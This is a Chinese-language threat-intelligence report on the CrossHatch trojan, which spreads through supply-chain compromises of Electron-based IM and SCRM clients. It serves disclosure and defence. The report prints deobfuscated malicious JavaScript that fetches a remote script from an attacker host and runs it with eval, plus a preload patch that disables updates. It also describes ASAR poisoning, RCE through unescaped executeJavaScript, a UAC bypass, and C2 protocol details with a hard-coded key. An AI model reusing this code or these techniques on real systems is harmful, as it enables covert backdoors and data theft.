自 2021 年我们发现 Operation Dragon Dance[1] 活动以来,就不断强调国产 Electron 软件的脆弱性——基于 Chromium 嵌入式框架开发的产品极易遭受远程代码执行攻击。此后,我们又陆续发现境外 APT 组织针对国产 Electron 软件几十个 0day 漏洞展开的间谍活动,包括 Operation DevilTiger[2] 与 Operation South Star[3]。

进入 AI 时代,Electron 源码审计的门槛急剧降低:攻击者仅需消耗token 即可挖掘出可利用的接口。甚至在部分案例中,AI 直接从 asar 包内残留的 OSS Key 入手,将供应链攻击的成本进一步拉低。

这一变化已转化为真实威胁。今年我们已监测到十余起国产软件供应链攻击事件,攻击者涵盖高端黑产与新兴 APT 组织。部分非政治目的供应链攻击已经向开源社区披露[4][5]。与此同时,AI 出色的编码能力也催生了大量工程化的特种木马,仅上半年我们就捕获了相当规模的新型样本。总而言之,AI 驱动的网络攻击正在对各厂商的高级威胁发现能力与归属能力构成前所未有的挑战。

2026 年 6 月,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监测到一款新型特种木马 CrossHatch 通过多款国产 Electron 软件供应链传播。部分供应链节点存在定向下发行为。种种迹象表明,攻击者疑似出于经济目的,针对境内及跨境电商发起高水平的攻击活动。

天擎“六合”高级威胁防御引擎已经可以对 CrossHatch 特马进行拦截:

国产 Electron 软件供应链入口

某 IM 官网安装包供应链入口

完整攻击链如下:

安装包下载路径如下:

字段名称 (Field)

详细信息 (Details)

Referrer

https://web.qXXXXXXXXXchat.com/ (官方网站)

Download URL

https://down.qXXXXXXXXXchat.com/Client/XXXXXXX_windows.zip (官方URL路径)

Malware MD5

a8020097a34d32721ddcba6cf75091b1

攻击者将恶意逻辑藏在了 ELECTRON 安装包的 app.asar 中,解包后的地址位于 node_modules/electron-updater/out/main.js 中,解混淆后的逻辑为下载白加黑组件:

同时在 main/index.js 中引用该模块 require("electron-updater"),实现安装包启动后自动加载。

某SCRM客户端接口供应链+RCE

针对 SCRM 客户端的供应链攻击相对较为复杂,攻击者疑似使用了官方公告接口供应链+RCE 组合的利用方式对特定目标下发 CrossHatch 特马,攻击链如下:

我们在对 SCRM 的安装包进行审计的过程中并没有发现内置的恶意代码,大概率是云端下发,随后对 ASAR 进行了漏洞挖掘,发现了两个能够 RCE 的接口。

1. 远程加载JS接口:main/tabConfig.js 中存在 loadTelegramInterceptFromRemote 函数远程加载官方高权限 js,攻击者如果能够控制 js 内容即可实现 RCE,原理与此前 Apifox 事件类似。

2. 官方公告接口:该接口会上传客户端的账号、租户和部门标识,并且推送公告,客户端存在多处将服务器返回 json 字段未经正确 JavaScript 字符串转义,直接拼入 webContents.executeJavaScript 的问题。其中两条路径会进入nodeIntegration: true 的本地 BrowserView,具备从服务端响应直接跨越到 Node.js、本机文件和系统命令执行的条件:

结合本地 EDR 日志以及客户端触发 RCE 执行 cmd.exe /d /s /c "tasklist | find /i "sm.exe"" 恶意命令前请求官方公告 IP 的网络行为,我们综合判断攻击者通过第二条路径入侵目标:

从 opsec 的角度来看SCRM的攻击链水平更高,更难溯源,但是从终端防御来讲由于两条供应链路径最终都是通过 child_process.exec() 启动 CMD 实现 RCE,所以 EDR 看到的两起供应链对应的命令行相同,某一个 ELECTRON 的主进程 XXX.exe 启动了带有特定参数的 CMD 命令:cmd.exe /d /s /c XXXX。

武器组件

下载者

硬编码配置:

    strcpy(v7, "https://dash.autotranshub.com"); // C2sub_1400B72A0(&v31[1], "$5j8RCi4U2#4A^", 14i64); // 预共享密钥 (PSK)strcpy((char *)&v39, "1.0.0"); // versionqmemcpy(v18, "windows", 7); // platformv42 = 60; v43 = 10; v44 = 5; // 心跳周期 / 抖动 / 最小间隔(秒)

    通信协议如下:

    端点

    用途

    POST /api/v1/register

    上线注册,返回 commands

    POST /api/v1/heartbeat

    心跳,返回 pending_batches + commands

    POST /api/v1/download/

    拉取待投递文件,响应字段 data

    POST /api/v1/processes

    上报受害机全量进程列表

    通信结构:

    { "client_id": "<主机名>-<用户名>", "timestamp":, "payload": "" }

    client_id 由 GetComputerNameA() + "-" + GetUserNameA() 拼成,取不到主机名时回落为字符串 unknown。注册内层明文含 hostname / platform / version。

    加密:SHA256("$5j8RCi4U2#4A^") → 32 字节 AES-256 密钥;ChainingModeGCM;nonce 由 BCryptGenRandom 生成 12 字节;标准 Base64 传输。代码显式校验 "key must be 32 bytes",认证失败报 "AES-GCM authentication tag mismatch"。

    运行时能力:

    • 启动:CreateMutexA(NULL, TRUE, "Local\\\\single_instance") 单实例互斥(已存在则直接退出)→ FreeConsole() 脱离控制台 → 注册 → 拉起工作线程。

    • 心跳线程:首次随机延迟 4–14 秒(Mersenne Twister,种子 std::random_device),此后 60 + rand(-10,+10) 秒,下限 5 秒——带抖动,规避固定周期检测。

    • 进程上报线程:CreateToolhelp32Snapshot 遍历,进程名转小写去重,每 1200 秒(20 分钟) POST 一次全量进程列表。另有 QueryFullProcessImageNameA 路径可取完整镜像路径。

    Electron应用投毒器

    核心功能枚举受害机器上所有 Electron 应用,removeUseStrict 删除 "use strict" 声明(避免严格模式破坏注入代码),把恶意 JS 前置到入口文件最前面,asar.WriteFile + updateOffsets + updateHeader 重建归档头与偏移表,使篡改后的 asar 结构完好、应用照常启动,注入的恶意 js 解混淆后逻辑如下:

      require("https").get("https://app.autotranshub.com/scrm.js", function(res){ let data = ""; res.on("data", function(chunk){ data += chunk; }); res.on("end", function(){ eval(data); });});

      加载远程 scrm.js,核心功能是解密 C2 服务器(https://web.navicat.cc/basic)的数据:Base64(XOR(JSON({fid, sid}), "strumarium")),传递给 eval 函数,实现寄生在合法 Electron 程序下的隐蔽后门。

      该插件还有一个针对 BitBrowser 的 preload 补丁功能,patch 了 exposeInMainWorld,把 downloadFileService 与 onUpdateAvailable 换成恒返回 true 的空壳,达到禁用更新的效果。

        /*_bbp_*/(()=>{ const {contextBridge:c} = require("electron"); const _o = c.exposeInMainWorld.bind(c); c.exposeInMainWorld = (n,a) => { if(n === "bitClientMain" && a && typeof a === "object"){ a.downloadFileService = () => true; a.onUpdateAvailable = () => true; } return _o(n,a); };})();

        BitBrowser 在国内多为电商客户使用,受影响的 scrm 软件也是用于跨境电商,各种迹象显示,本轮高水平攻击似乎是出于经济目的。

        CrossHatch特马

        CrossHatch 由较为传统的手工 PE 映射器加载到内存中,带有通信协议魔数“Cross”,C2为:www.msultra.xin。通信特征如下:

        方法

        POST

        User-Agent

        Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

        上传专用 UA

        WinHTTP UploadFile/1.0

        消息结构

        15 字节头(含魔数 Cross、类型、长度)+ 载荷,calloc(len+0x0F)

        编码

        Base64(sub_140030190 为标准 Base64 解码器)

        心跳间隔

        全局 dword_140079360,默认 0x2710 = 10 秒;sub_140001EB0 自适应调整,下限 0x3E8(1s)、上限 0x7530(30s)

        协议

        同时支持 http 与 https(sub_140004CF0 手工解析 URL,按 scheme 选 80/443)

        木马内置功能如下:

        能力

        实现

        UAC 提权绕过

        CoInitializeSecurity + CoGetObject(Elevation:Administrator!new: 提升权限 COM moniker)→ 调接口 vtable+0x48 的 6 参方法(ICMLuaUtil::ShellExec 形态);配合读 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System

        管理员判定

        AllocateAndInitializeSid + CheckTokenMembership

        用户在场感知

        GetLastInputInfo + GetTickCount64

        文件上传

        sub_140006270:CreateFileW + GetFileSizeEx + WinHttpWriteData 分块 POST

        文件下载落地

        sub_1400078F0:先 DeleteUrlCacheEntryW 清 IE 缓存痕迹再 URLDownloadToFileW

        反射式模块加载

        MemoryModule

        网络

        WinHTTP(C2)+ WS2_32/IOCP 异步引擎(含 listen/accept,具备监听端)+ Secur32 SSPI 全套(含 EncryptMessage/DecryptMessage)+ CRYPT32 证书库操作

        哈希/随机

        ADVAPI32 Crypt* + SystemFunction036(RtlGenRandom)

        底层

        ntdll LdrEnumerateLoadedModules / NtAllocateVirtualMemory / RtlAcquirePebLock

        核心能力主要靠 C2 下发的插件 PE 提供,内存加载插件的结构与 memorymodule 项目完全一致:

          qword_14007B4F8( sub_1400092D0, // 回调:向 C2 发送消息(插件回传数据) sub_140006270, // 回调:文件分块上传(WinHTTP,UA = WinHTTP UploadFile/1.0) sub_1400078F0, // 回调:下载文件落地(DeleteUrlCacheEntryW + URLDownloadToFileW) dword_140079364, // 配置字 11, // 协议/版本常量 &String1 // C2 URL);

          总结

          目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。

          IOC

          MD5:

          8fb230a39b06c8aadce608f2abda19f1

          a8020097a34d32721ddcba6cf75091b1

          bdcaa7dc332f473ddbb50e606b1e707f

          26f62150a38a0cd2d9d1087296e3d655

          fb15ee51b257c91952082c1a35fe26c0

          e6968d38ddb68931ff3e43db9e1535a4

          1c801f78185f11eccaa5a37a62720e00

          C2:

          autotranshub.com

          msultra.xin

          winterms.com

          navicat.cc

          homeital.com

          identifiles.com

          msapifast.com

          参考链接

          [1].https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/

          [2].https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/

          [3].https://ti.qianxin.com/blog/articles/operation-south-star-cn/

          [4].https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/

          [5].https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/

          声明:本文来自奇安信威胁情报中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。